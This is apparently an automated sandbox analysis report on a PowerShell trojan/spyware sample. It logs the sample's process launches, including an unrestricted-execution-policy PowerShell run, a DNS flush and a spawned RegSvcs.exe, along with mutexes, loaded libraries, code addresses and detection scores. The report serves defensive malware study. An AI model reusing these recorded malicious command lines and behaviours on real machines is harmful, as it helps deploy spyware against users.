Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB94	3_2_0045DB94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB90	3_2_0045DB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB9C	3_2_0045DB9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB98	3_2_0045DB98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBA0	3_2_0045DBA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045CE78	3_2_0045CE78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045CE7B	3_2_0045CE7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00404EF0	3_2_00404EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00432F20	3_2_00432F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00445FD4	3_2_00445FD4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0042A870 appears 56 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00423340 appears 55 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00424250 appears 136 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0042A021 appears 59 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 004061F0 appears 31 times

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@8/10@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_0040E8D0 GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,

3_2_0040E8D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3808:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\4340bbf41c5952b1373dfe1ff8834fec

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olyabqw3.khj.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: nYT1CaXH9N.ps1	Virustotal: Detection: 8%
Source: nYT1CaXH9N.ps1	ReversingLabs: Detection: 23%

Source: RegSvcs.exe	String found in binary or memory: " /add /y
Source: RegSvcs.exe	String found in binary or memory: " /add

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6544" "2596" "2480" "2600" "0" "0" "2604" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6544" "2596" "2480" "2600" "0" "0" "2604" "0" "0" "0" "0" "0"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAADB29 push edi; iretd	0_2_00007FFD9BAADB3A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAADAA9 push edi; iretd	0_2_00007FFD9BAADABA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAAD9D4 push esp; iretd	0_2_00007FFD9BAAD9DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAAD909 push edx; iretd	0_2_00007FFD9BAAD91A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAAD94C push esp; iretd	0_2_00007FFD9BAAD96A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAAD944 push ebx; iretd	0_2_00007FFD9BAAD94A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAA392A push es; retf	0_2_00007FFD9BAA3952
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAAD889 push edx; iretd	0_2_00007FFD9BAAD89A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAAD7E9 push eax; iretd	0_2_00007FFD9BAAD7FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAAE83C push esp; ret	0_2_00007FFD9BAAE842
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0042A2C1 push ecx; ret	3_2_0042A2D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_004175DF pushad ; iretd	3_2_004175E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00415FEF pushad ; iretd	3_2_00415FF0

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_004293ED GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_004293ED

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
